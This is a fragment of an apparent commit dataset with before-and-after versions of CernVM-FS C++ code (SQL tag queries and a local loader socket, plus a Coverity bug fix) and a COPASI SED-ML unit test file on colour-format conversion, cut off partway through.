name);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlFindTag::SqlFindTag(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@ FROM tags WHERE name = :name LIMIT 1;\");\n  DEFERRED_INITS(database);\n}\n\nbool SqlFindTag::BindName(const std::string &name) {\n  return BindText(1, name);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlFindTagByDate::SqlFindTagByDate(const HistoryDatabase *database) {\n  \/\/ figure out the tag that was HEAD to a given point in time\n  \/\/\n  \/\/ conceptually goes back in the revision history  |  ORDER BY revision DESC\n  \/\/ and picks the first tag                         |  LIMIT 1\n  \/\/ that is older than the given timestamp          |  WHICH timestamp <= :ts\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@ FROM tags \"\n                  \"WHERE timestamp <= :timestamp \"\n                  \"ORDER BY revision DESC LIMIT 1;\");\n  DEFERRED_INITS(database);\n}\n\nbool SqlFindTagByDate::BindTimestamp(const time_t timestamp) {\n  return BindInt64(1, timestamp);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlCountTags::SqlCountTags(const HistoryDatabase *database) {\n  DeferredInit(database->sqlite_db(), \"SELECT count(*) FROM tags;\");\n}\n\nunsigned SqlCountTags::RetrieveCount() const {\n  int64_t count = RetrieveInt64(0);\n  assert(count >= 0);\n  return static_cast<uint64_t>(count);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlListTags::SqlListTags(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@ FROM tags ORDER BY revision DESC;\");\n  DEFERRED_INITS(database);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlGetChannelTips::SqlGetChannelTips(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@, MAX(revision) AS max_rev \"\n                  \"FROM tags \"\n                  \"GROUP BY channel;\");\n  DEFERRED_INITS(database);\n}\n\nSqlGetHashes::SqlGetHashes(const HistoryDatabase *database) {\n  DeferredInit(database->sqlite_db(), \"SELECT DISTINCT hash FROM tags \"\n                                      \"ORDER BY revision ASC\");\n}\n\nshash::Any SqlGetHashes::RetrieveHash() const {\n  return shash::MkFromHexPtr(shash::HexPtr(RetrieveString(0)),\n                             shash::kSuffixCatalog);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRollbackTag::SqlRollbackTag(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"DELETE FROM tags WHERE @ROLLBACK_COND@;\");\n  DEFERRED_INITS(database);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlListRollbackTags::SqlListRollbackTags(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@ FROM tags \"\n                  \"WHERE @ROLLBACK_COND@ \"\n                  \"ORDER BY revision DESC;\");\n  DEFERRED_INITS(database);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nbool SqlRecycleBin::CheckSchema(const HistoryDatabase *database) const {\n  return (database->IsEqualSchema(database->schema_version(), 1.0)) &&\n         (database->schema_revision() >= 2);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRecycleBinInsert::SqlRecycleBinInsert(const HistoryDatabase *database) {\n  assert(CheckSchema(database));\n  DeferredInit(database->sqlite_db(),\n               \"INSERT OR IGNORE INTO recycle_bin (hash, flags) \"\n               \"VALUES (:hash, :flags)\");\n}\n\n\nbool SqlRecycleBinInsert::BindTag(const History::Tag &condemned_tag) {\n  const unsigned int flags = SqlRecycleBin::kFlagCatalog;\n  return\n    BindTextTransient(1, condemned_tag.root_hash.ToString()) &&\n    BindInt64(2, flags);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRecycleBinList::SqlRecycleBinList(const HistoryDatabase *database) {\n  assert(CheckSchema(database));\n  DeferredInit(database->sqlite_db(), \"SELECT hash, flags FROM recycle_bin;\");\n}\n\n\nshash::Any SqlRecycleBinList::RetrieveHash() {\n  const unsigned int flags = RetrieveInt64(1);\n  shash::Suffix suffix = shash::kSuffixNone;\n  if (flags & SqlRecycleBin::kFlagCatalog) {\n    suffix = shash::kSuffixCatalog;\n  }\n\n  return shash::MkFromHexPtr(shash::HexPtr(RetrieveString(0)), suffix);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRecycleBinFlush::SqlRecycleBinFlush(const HistoryDatabase *database) {\n  assert(CheckSchema(database));\n  DeferredInit(database->sqlite_db(), \"DELETE FROM recycle_bin;\");\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRecycleBinRollback::SqlRecycleBinRollback(const HistoryDatabase *database) {\n  assert(CheckSchema(database));\n  const bool success = Init(database->sqlite_db(),\n                            \"INSERT OR IGNORE INTO recycle_bin (hash, flags) \"\n                            \"SELECT hash, :flags \"\n                            \"FROM tags WHERE \" + rollback_condition + \";\");\n  assert(success);\n}\n\nbool SqlRecycleBinRollback::BindFlags() {\n  return BindInt64(1, SqlRecycleBin::kFlagCatalog);\n}\n\n\n}; \/* namespace history *\/\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"loader_talk.h\"\n\n#include <sys\/socket.h>\n#include <sys\/un.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <cstdlib>\n#include <cassert>\n\n#include \"logging.h\"\n#include \"util.h\"\n#include \"loader.h\"\n\nusing namespace std;  \/\/ NOLINT\n\nnamespace loader {\nnamespace loader_talk {\n\nbool spawned_ = false;\nstring *socket_path_ = NULL;\nint socket_fd_ = -1;\npthread_t thread_talk_;\n\nbool Init(const string &socket_path) {\n  spawned_ = false;\n  socket_path_ = new string(socket_path);\n\n  socket_fd_ = MakeSocket(*socket_path_, 0600);\n  if (socket_fd_ == -1)\n    return false;\n  if (listen(socket_fd_, 1) == -1) {\n    LogCvmfs(kLogCvmfs, kLogDebug, \"listening on socket failed (%d)\", errno);\n    return false;\n  }\n\n  unlink((socket_path + \".paused.crashed\").c_str());\n  unlink((socket_path + \".paused\").c_str());\n\n  return true;\n}\n\n\nstatic void *MainTalk(void *data __attribute__((unused))) {\n  struct sockaddr_un remote;\n  socklen_t socket_size = sizeof(remote);\n  int con_fd = -1;\n  while (true) {\n    if (con_fd > 0) {\n      shutdown(con_fd, SHUT_RDWR);\n      close(con_fd);\n    }\n    if ((con_fd = accept(socket_fd_, (struct sockaddr *)&remote, &socket_size))\n         < 0)\n    {\n      break;\n    }\n\n    char command;\n    if (recv(con_fd, &command, 1, 0) > 0) {\n      if ((command != 'R') && (command != 'S')) {\n        SendMsg2Socket(con_fd, \"unknown command\\n\");\n        continue;\n      }\n\n      SetLogMicroSyslog(*usyslog_path_);\n      LogCvmfs(kLogCvmfs, kLogSyslog, \"reloading Fuse module\");\n      int retval = Reload(con_fd, command == 'S');\n      SendMsg2Socket(con_fd, \"~\");\n      (void)send(con_fd, &retval, sizeof(retval), MSG_NOSIGNAL);\n      if (retval != kFailOk) {\n        LogCvmfs(kLogCvmfs, kLogSyslogErr, \"reloading Fuse module failed \"\n                                           \"(%d - %s)\",\n                 retval, Code2Ascii(static_cast<Failures>(retval)));\n        abort();\n      }\n      SetLogMicroSyslog(\"\");\n    }\n  }\n\n  return NULL;\n}\n\n\nvoid Spawn() {\n  int retval;\n  retval = pthread_create(&thread_talk_, NULL, MainTalk, NULL);\n  assert(retval == 0);\n  spawned_ = true;\n}\n\n\nvoid Fini() {\n  unlink(socket_path_->c_str());\n  shutdown(socket_fd_, SHUT_RDWR);\n  close(socket_fd_);\n  if (spawned_) pthread_join(thread_talk_, NULL);\n\n  delete socket_path_;\n  socket_path_ = NULL;\n  spawned_ = false;\n  socket_fd_ = -1;\n}\n\n\n\/**\n * Connects to a loader socket and triggers the reload\n *\/\nint MainReload(const std::string &socket_path, const bool stop_and_go) {\n  LogCvmfs(kLogCvmfs, kLogStdout | kLogNoLinebreak,\n           \"Connecting to CernVM-FS loader... \");\n  int socket_fd = ConnectSocket(socket_path);\n  if (socket_fd < 0) {\n    LogCvmfs(kLogCvmfs, kLogStdout, \"failed!\");\n    return 100;\n  }\n  LogCvmfs(kLogCvmfs, kLogStdout, \"done\");\n\n  const char command = stop_and_go ? 'S' : 'R';\n  WritePipe(socket_fd, &command, 1);\n  char buf;\n  int retval;\n  while ((retval = read(socket_fd, &buf, 1)) == 1) {\n    if (buf == '~')\n      break;\n    LogCvmfs(kLogCvmfs, kLogStdout | kLogNoLinebreak, \"%c\", buf);\n  }\n  if (retval != 1) {\n    LogCvmfs(kLogCvmfs, kLogStderr, \"Reload CRASHED! \"\n             \"CernVM-FS mountpoints unusuable.\");\n    return 101;\n  }\n\n  int result = 102;\n  read(socket_fd, &result, sizeof(result));\n  if (result != kFailOk) {\n    LogCvmfs(kLogCvmfs, kLogStderr, \"Reload FAILED! \"\n             \"CernVM-FS mountpoints unusuable.\");\n  }\n\n  return result;\n}\n\n}  \/\/ namespace loader_talk\n}  \/\/ namespace loader\n<commit_msg>FIX: Coverity defect #56526<commit_after>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"loader_talk.h\"\n\n#include <sys\/socket.h>\n#include <sys\/un.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <cstdlib>\n#include <cassert>\n\n#include \"logging.h\"\n#include \"util.h\"\n#include \"loader.h\"\n\nusing namespace std;  \/\/ NOLINT\n\nnamespace loader {\nnamespace loader_talk {\n\nbool spawned_ = false;\nstring *socket_path_ = NULL;\nint socket_fd_ = -1;\npthread_t thread_talk_;\n\nbool Init(const string &socket_path) {\n  spawned_ = false;\n  socket_path_ = new string(socket_path);\n\n  socket_fd_ = MakeSocket(*socket_path_, 0600);\n  if (socket_fd_ == -1)\n    return false;\n  if (listen(socket_fd_, 1) == -1) {\n    LogCvmfs(kLogCvmfs, kLogDebug, \"listening on socket failed (%d)\", errno);\n    return false;\n  }\n\n  unlink((socket_path + \".paused.crashed\").c_str());\n  unlink((socket_path + \".paused\").c_str());\n\n  return true;\n}\n\n\nstatic void *MainTalk(void *data __attribute__((unused))) {\n  struct sockaddr_un remote;\n  socklen_t socket_size = sizeof(remote);\n  int con_fd = -1;\n  while (true) {\n    if (con_fd >= 0) {\n      shutdown(con_fd, SHUT_RDWR);\n      close(con_fd);\n    }\n    if ((con_fd = accept(socket_fd_, (struct sockaddr *)&remote, &socket_size))\n         < 0)\n    {\n      break;\n    }\n\n    char command;\n    if (recv(con_fd, &command, 1, 0) > 0) {\n      if ((command != 'R') && (command != 'S')) {\n        SendMsg2Socket(con_fd, \"unknown command\\n\");\n        continue;\n      }\n\n      SetLogMicroSyslog(*usyslog_path_);\n      LogCvmfs(kLogCvmfs, kLogSyslog, \"reloading Fuse module\");\n      int retval = Reload(con_fd, command == 'S');\n      SendMsg2Socket(con_fd, \"~\");\n      (void)send(con_fd, &retval, sizeof(retval), MSG_NOSIGNAL);\n      if (retval != kFailOk) {\n        LogCvmfs(kLogCvmfs, kLogSyslogErr, \"reloading Fuse module failed \"\n                                           \"(%d - %s)\",\n                 retval, Code2Ascii(static_cast<Failures>(retval)));\n        abort();\n      }\n      SetLogMicroSyslog(\"\");\n    }\n  }\n\n  return NULL;\n}\n\n\nvoid Spawn() {\n  int retval;\n  retval = pthread_create(&thread_talk_, NULL, MainTalk, NULL);\n  assert(retval == 0);\n  spawned_ = true;\n}\n\n\nvoid Fini() {\n  unlink(socket_path_->c_str());\n  shutdown(socket_fd_, SHUT_RDWR);\n  close(socket_fd_);\n  if (spawned_) pthread_join(thread_talk_, NULL);\n\n  delete socket_path_;\n  socket_path_ = NULL;\n  spawned_ = false;\n  socket_fd_ = -1;\n}\n\n\n\/**\n * Connects to a loader socket and triggers the reload\n *\/\nint MainReload(const std::string &socket_path, const bool stop_and_go) {\n  LogCvmfs(kLogCvmfs, kLogStdout | kLogNoLinebreak,\n           \"Connecting to CernVM-FS loader... \");\n  int socket_fd = ConnectSocket(socket_path);\n  if (socket_fd < 0) {\n    LogCvmfs(kLogCvmfs, kLogStdout, \"failed!\");\n    return 100;\n  }\n  LogCvmfs(kLogCvmfs, kLogStdout, \"done\");\n\n  const char command = stop_and_go ? 'S' : 'R';\n  WritePipe(socket_fd, &command, 1);\n  char buf;\n  int retval;\n  while ((retval = read(socket_fd, &buf, 1)) == 1) {\n    if (buf == '~')\n      break;\n    LogCvmfs(kLogCvmfs, kLogStdout | kLogNoLinebreak, \"%c\", buf);\n  }\n  if (retval != 1) {\n    LogCvmfs(kLogCvmfs, kLogStderr, \"Reload CRASHED! \"\n             \"CernVM-FS mountpoints unusuable.\");\n    return 101;\n  }\n\n  int result = 102;\n  read(socket_fd, &result, sizeof(result));\n  if (result != kFailOk) {\n    LogCvmfs(kLogCvmfs, kLogStderr, \"Reload FAILED! \"\n             \"CernVM-FS mountpoints unusuable.\");\n  }\n\n  return result;\n}\n\n}  \/\/ namespace loader_talk\n}  \/\/ namespace loader\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2022 by Pedro Mendes, Rector and Visitors of the\n\/\/ University of Virginia, University of Heidelberg, and University\n\/\/ of Connecticut School of Medicine.\n\/\/ All rights reserved.\n\n#include \"catch.hpp\"\n\nextern std::string getTestFile(const std::string & fileName);\n\n#include <copasi\/CopasiTypes.h>\n#include <sbml\/SBMLTypes.h>\n#include <sedml\/SedTypes.h>\n\nTEST_CASE(\"exporting sedml file with non-zero initial time\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  dm->newModel(NULL, true);\n\n  auto * model = dm->getModel();\n\n  auto * r = model->createReaction(\"R1\");\n  r->setReactionScheme(\"A -> B\");\n\n  model->setInitialTime(10.0);\n  model->updateInitialValues(model->getInitialValueReference());\n\n  auto & task = dynamic_cast<CTrajectoryTask&>((*dm->getTaskList())[\"Time-Course\"]);\n  task.setScheduled(true);\n  auto * problem = dynamic_cast< CTrajectoryProblem * >(task.getProblem());\n  REQUIRE(problem != nullptr);\n\n  problem->setDuration(10);\n  problem->setStepNumber(100);\n\n  std::string sedml = dm->exportSEDMLToString(NULL, 1, 4);\n\n  REQUIRE(sedml.find(\"<uniformTimeCourse id=\\\"sim1\\\" initialTime=\\\"10\") != std::string::npos);\n\n  \/\/ now lets try and read it back in ensuring that the initial time is being set.\n  model->setInitialTime(0.0);\n  model->updateInitialValues(model->getInitialValueReference());\n  \/\/ also reset the task values, to see that hey are updated correctly\n  problem->setDuration(1);\n  problem->setStepNumber(10);\n\n  auto * doc = readSedMLFromString(sedml.c_str());\n  REQUIRE(doc->getNumErrors(LIBSEDML_SEV_ERROR) == 0);\n\n  auto * sim = dynamic_cast<SedUniformTimeCourse*>(doc->getSimulation(0));\n  REQUIRE(sim != nullptr);\n\n  SEDMLImporter imp;\n  imp.setDataModel(dm);\n  imp.initializeContent();\n  imp.setSEDMLDocument(doc);\n  imp.setCopasiModel(model);\n  imp.updateCopasiTaskForSimulation(sim, dm->getTaskList());\n\n  REQUIRE(problem->getDuration() == 10);\n  REQUIRE(problem->getStepNumber() == 100);\n\n  delete doc;\n\n  CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"convert sedml types and colors\", \"[copasi,sedml]\")\n{\n  REQUIRE(SEDMLUtils::argbToRgba(\"112233\") == \"112233\");\n  REQUIRE(SEDMLUtils::argbToRgba(\"#F0C800\") == \"#F0C800\");\n  REQUIRE(SEDMLUtils::argbToRgba(\"#FFF0C800\") == \"#F0C800FF\");\n  REQUIRE(SEDMLUtils::argbToRgba(\"FFF0C800\") == \"#F0C800FF\");\n  REQUIRE(SEDMLUtils::argbToRgba(\"FFF0C800\", false) == \"F0C800FF\");\n\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"112233\") == \"112233\");\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"#F0C800\") == \"#F0C800\");\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"#F0C800FF\") == \"#FFF0C800\");\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"F0C800FF\") == \"#FFF0C800\");\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"F0C800FF\", false) == \"FFF0C800\");\n\n  REQUIRE(SEDMLUtils::lineTypeFromSed(SEDML_LINETYPE_SOLID) == (int) CPlotItem::LineStyle::Solid);\n  REQUIRE(SEDMLUtils::lineTypeFromSed(SEDML_LINETYPE_DASH) == (int) CPlotItem::LineStyle::Dashed);\n  REQUIRE(SEDMLUtils::lineTypeFromSed(SEDML_LINETYPE_DOT) == (int) CPlotItem::LineStyle::Dotted);\n\n  REQUIRE(SEDMLUtils::lineTypeToSed((int) CPlotItem::LineStyle::Solid) == SEDML_LINETYPE_SOLID);\n  REQUIRE(SEDMLUtils::lineTypeToSed((int) CPlotItem::LineStyle::Dashed) == SEDML_LINETYPE_DASH);\n  REQUIRE(SEDMLUtils::lineTypeToSed((int) CPlotItem::LineStyle::Dotted) == SEDML_LINETYPE_DOT);\n\n  REQUIRE(SEDMLUtils::symbolFromSed(SEDML_MARKERTYPE_CIRCLE) == (int) CPlotItem::SymbolType::Circle);\n  REQUIRE(SEDMLUtils::symbolFromSed(SEDML_MARKERTYPE_STAR) == (int) CPlotItem::SymbolType::Star);\n\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::Circle) == SEDML_MARKERTYPE_CIRCLE);\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::Star) == SEDML_MARKERTYPE_STAR);\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::LargeCross) == SEDML_MARKERTYPE_PLUS);\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::SmallCross) == SEDML_MARKERTYPE_PLUS);\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::Plus) == SEDML_MARKERTYPE_PLUS);\n}\n\nTEST_CASE(\"importing new curves and plots\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(\n    dm->importSEDML(\n      getTestFile(\"test-data\/test_shaded_area_overlap_order.sedml\")\n    ) == true);\n\n  auto* plots = dm->getPlotDefinitionList();\n  REQUIRE(plots->size() == 1);\n\n  \/\/ test that we can export it again\n  std::string sedml = dm->exportSEDMLToString(NULL, 1, 4);\n\n  \/\/ export with sbml namespaces\n  CSEDMLExporter exp;\n  exp.setSBMLNamespaces(3, 1);\n  std::string sedmlwith_ns =\n    exp.exportModelAndTasksToString(*dm, \"model.xml\", 1, 4);\n\n  REQUIRE(sedmlwith_ns.find(\"http:\/\/www.sbml.org\/sbml\/level3\/version1\/core\") != std::string::npos);\n\n  CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"importing variables with terms\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(dm->importSEDML(getTestFile(\"test-data\/concentration_amount.sedml\")) == true);\n\n  auto * plots = dm->getPlotDefinitionList();\n  REQUIRE(plots->size() == 3);\n\n  CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"export nested scan\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(dm->loadModel(getTestFile(\"test-data\/NestedScan.cps\"), NULL) == true);\n\n  auto sedml = dm->exportSEDMLToString(NULL, 1, 4);\n\n  auto * doc = readSedMLFromString(sedml.c_str());\n\n  REQUIRE(doc->getNumErrors(LIBSEDML_SEV_ERROR) == 0);\n\n  REQUIRE(doc->getDataGenerator(\"Rtot_1_task3\") == NULL);\n  REQUIRE(doc->getDataGenerator(\"Rtot_1_task5\") != NULL);\n\n  delete doc;\n\n  CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"Export different plot styles\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(dm->loadModel(getTestFile(\"test-data\/brusselator.cps\"), NULL) == true);\n\n  auto * m = dm->getModel();\n  REQUIRE(m != NULL);\n\n  \/\/ export sbml so we have sbml ids\n  std::string sbml = dm->exportSBMLToString(NULL, 3, 1);\n\n  \/\/ export sedml\n  std::string sedml = dm->exportSEDMLToString(NULL, 1, 4);\n\n  auto * doc = readSedMLFromString(sedml.c_str());\n\n  REQUIRE(doc->getNumErrors(LIBSEDML_SEV_ERROR) == 0);\n\n  delete doc;\n\n  CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"generating variables with terms\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(dm->loadModel(getTestFile(\"test-data\/brusselator.cps\"), NULL) == true);\n\n  auto * m = dm->getModel();\n\n  auto * pMV = m->createModelValue(\"g_mv\", 1);\n\n  \/\/ export to sbml so we have sbml ids for everything\n  std::string sbml = dm->exportSBMLToString(NULL, 3, 1);\n\n  {\n    REQUIRE(VariableInfo(m).getSymbol() == SEDML_TIME_URN);\n    REQUIRE(VariableInfo(m->getValueReference()).getSymbol() == SEDML_TIME_URN);\n  }\n\n  {\n    REQUIRE(VariableInfo(&m->getCompartments()[0]).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfCompartments\/sbml:compartment[@id='compartment']\");\n    REQUIRE(VariableInfo(m->getCompartments()[0].getRateReference()).getTerm() == SEDML_KISAO_RATE);\n  }\n\n  {\n    REQUIRE(VariableInfo(&m->getMetabolites()[0]).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfSpecies\/sbml:species[@id='X']\");\n    REQUIRE(VariableInfo(m->getMetabolites()[0].getConcentrationReference()).getTerm() == SEDML_KISAO_CONCENTRATION);\n    REQUIRE(VariableInfo(m->getMetabolites()[0].getValueReference()).getTerm() == SEDML_KISAO_PARTICLENUMBER);\n    REQUIRE(VariableInfo(m->getMetabolites()[0].getConcentrationRateReference()).getTerm() == SEDML_KISAO_CONCENTRATION_RATE);\n    REQUIRE(VariableInfo(m->getMetabolites()[0].getRateReference()).getTerm() == SEDML_KISAO_PARTICLE_RATE);\n  }\n\n  {\n    REQUIRE(VariableInfo(&m->getModelValues()[0]).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfParameters\/sbml:parameter[@id='g_mv']\");\n    REQUIRE(VariableInfo(m->getModelValues()[0].getRateReference()).getTerm() == SEDML_KISAO_RATE);\n  }\n\n  {\n    REQUIRE(VariableInfo(&m->getReactions()[0]).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfReactions\/sbml:reaction[@id='R1']\");\n    REQUIRE(VariableInfo(m->getReactions()[0].getFluxReference()).getTerm() == SEDML_KISAO_FLUX);\n    REQUIRE(VariableInfo(m->getReactions()[0].getParameterObjects(\"k1\").at(0)).getXpath() == \"\/sbml:sbml\/sbml:model\/sbml:listOfReactions\/sbml:reaction[@id='R1']\/sbml:kineticLaw\/sbml:listOfParameters\/sbml:parameter[@id='k1']\");\n  }\n\n  CRootContainer::removeDatamodel(dm);\n}\n<commit_msg>- issue 3093: test that '#' is added \/ removed consistently as requested<commit_after>\/\/ Copyright (C) 2021 - 2022 by Pedro Mendes, Rector and Visitors of the\n\/\/ University of Virginia, University of Heidelberg, and University\n\/\/ of Connecticut School of Medicine.\n\/\/ All rights reserved.\n\n#include \"catch.hpp\"\n\nextern std::string getTestFile(const std::string & fileName);\n\n#include <copasi\/CopasiTypes.h>\n#include <sbml\/SBMLTypes.h>\n#include <sedml\/SedTypes.h>\n\nTEST_CASE(\"exporting sedml file with non-zero initial time\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  dm->newModel(NULL, true);\n\n  auto * model = dm->getModel();\n\n  auto * r = model->createReaction(\"R1\");\n  r->setReactionScheme(\"A -> B\");\n\n  model->setInitialTime(10.0);\n  model->updateInitialValues(model->getInitialValueReference());\n\n  auto & task = dynamic_cast<CTrajectoryTask&>((*dm->getTaskList())[\"Time-Course\"]);\n  task.setScheduled(true);\n  auto * problem = dynamic_cast< CTrajectoryProblem * >(task.getProblem());\n  REQUIRE(problem != nullptr);\n\n  problem->setDuration(10);\n  problem->setStepNumber(100);\n\n  std::string sedml = dm->exportSEDMLToString(NULL, 1, 4);\n\n  REQUIRE(sedml.find(\"<uniformTimeCourse id=\\\"sim1\\\" initialTime=\\\"10\") != std::string::npos);\n\n  \/\/ now lets try and read it back in ensuring that the initial time is being set.\n  model->setInitialTime(0.0);\n  model->updateInitialValues(model->getInitialValueReference());\n  \/\/ also reset the task values, to see that hey are updated correctly\n  problem->setDuration(1);\n  problem->setStepNumber(10);\n\n  auto * doc = readSedMLFromString(sedml.c_str());\n  REQUIRE(doc->getNumErrors(LIBSEDML_SEV_ERROR) == 0);\n\n  auto * sim = dynamic_cast<SedUniformTimeCourse*>(doc->getSimulation(0));\n  REQUIRE(sim != nullptr);\n\n  SEDMLImporter imp;\n  imp.setDataModel(dm);\n  imp.initializeContent();\n  imp.setSEDMLDocument(doc);\n  imp.setCopasiModel(model);\n  imp.updateCopasiTaskForSimulation(sim, dm->getTaskList());\n\n  REQUIRE(problem->getDuration() == 10);\n  REQUIRE(problem->getStepNumber() == 100);\n\n  delete doc;\n\n  CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"convert sedml types and colors\", \"[copasi,sedml]\")\n{\n  REQUIRE(SEDMLUtils::argbToRgba(\"112233\") == \"#112233\");\n  REQUIRE(SEDMLUtils::argbToRgba(\"#F0C800\") == \"#F0C800\");\n  REQUIRE(SEDMLUtils::argbToRgba(\"#FFF0C800\") == \"#F0C800FF\");\n  REQUIRE(SEDMLUtils::argbToRgba(\"FFF0C800\") == \"#F0C800FF\");\n  REQUIRE(SEDMLUtils::argbToRgba(\"FFF0C800\", false) == \"F0C800FF\");\n  REQUIRE(SEDMLUtils::argbToRgba(\"#FF0000\", false) == \"FF0000\");\n\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"112233\") == \"#112233\");\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"#F0C800\") == \"#F0C800\");\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"#F0C800FF\") == \"#FFF0C800\");\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"F0C800FF\") == \"#FFF0C800\");\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"F0C800FF\", false) == \"FFF0C800\");\n  REQUIRE(SEDMLUtils::rgbaToArgb(\"#FF0000\", false) == \"FF0000\");\n\n  REQUIRE(SEDMLUtils::lineTypeFromSed(SEDML_LINETYPE_SOLID) == (int) CPlotItem::LineStyle::Solid);\n  REQUIRE(SEDMLUtils::lineTypeFromSed(SEDML_LINETYPE_DASH) == (int) CPlotItem::LineStyle::Dashed);\n  REQUIRE(SEDMLUtils::lineTypeFromSed(SEDML_LINETYPE_DOT) == (int) CPlotItem::LineStyle::Dotted);\n\n  REQUIRE(SEDMLUtils::lineTypeToSed((int) CPlotItem::LineStyle::Solid) == SEDML_LINETYPE_SOLID);\n  REQUIRE(SEDMLUtils::lineTypeToSed((int) CPlotItem::LineStyle::Dashed) == SEDML_LINETYPE_DASH);\n  REQUIRE(SEDMLUtils::lineTypeToSed((int) CPlotItem::LineStyle::Dotted) == SEDML_LINETYPE_DOT);\n\n  REQUIRE(SEDMLUtils::symbolFromSed(SEDML_MARKERTYPE_CIRCLE) == (int) CPlotItem::SymbolType::Circle);\n  REQUIRE(SEDMLUtils::symbolFromSed(SEDML_MARKERTYPE_STAR) == (int) CPlotItem::SymbolType::Star);\n\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::Circle) == SEDML_MARKERTYPE_CIRCLE);\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::Star) == SEDML_MARKERTYPE_STAR);\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::LargeCross) == SEDML_MARKERTYPE_PLUS);\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::SmallCross) == SEDML_MARKERTYPE_PLUS);\n  REQUIRE(SEDMLUtils::symbolToSed((int) CPlotItem::SymbolType::Plus) == SEDML_MARKERTYPE_PLUS);\n}\n\nTEST_CASE(\"importing new curves and plots\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(\n    dm->importSEDML(\n      getTestFile(\"test-data\/test_shaded_area_overlap_order.sedml\")\n    ) == true);\n\n  auto* plots = dm->getPlotDefinitionList();\n  REQUIRE(plots->size() == 1);\n\n  \/\/ test that we can export it again\n  std::string sedml = dm->exportSEDMLToString(NULL, 1, 4);\n\n  \/\/ export with sbml namespaces\n  CSEDMLExporter exp;\n  exp.setSBMLNamespaces(3, 1);\n  std::string sedmlwith_ns =\n    exp.exportModelAndTasksToString(*dm, \"model.xml\", 1, 4);\n\n  REQUIRE(sedmlwith_ns.find(\"http:\/\/www.sbml.org\/sbml\/level3\/version1\/core\") != std::string::npos);\n\n  CRootContainer::removeDatamodel(dm);\n}\n\nTEST_CASE(\"importing variables with terms\", \"[copasi,sedml]\")\n{\n  auto * dm = CRootContainer::addDatamodel();\n  REQUIRE(dm != nullptr);\n\n  REQUIRE(dm->importSEDML(getTestFile(\"test-data\/concentration_amount.sedml\")) == true);\n\n  auto * plots = dm->getPlotDefinitionList();\n  REQUIRE(plots->size() == 3);\n\n  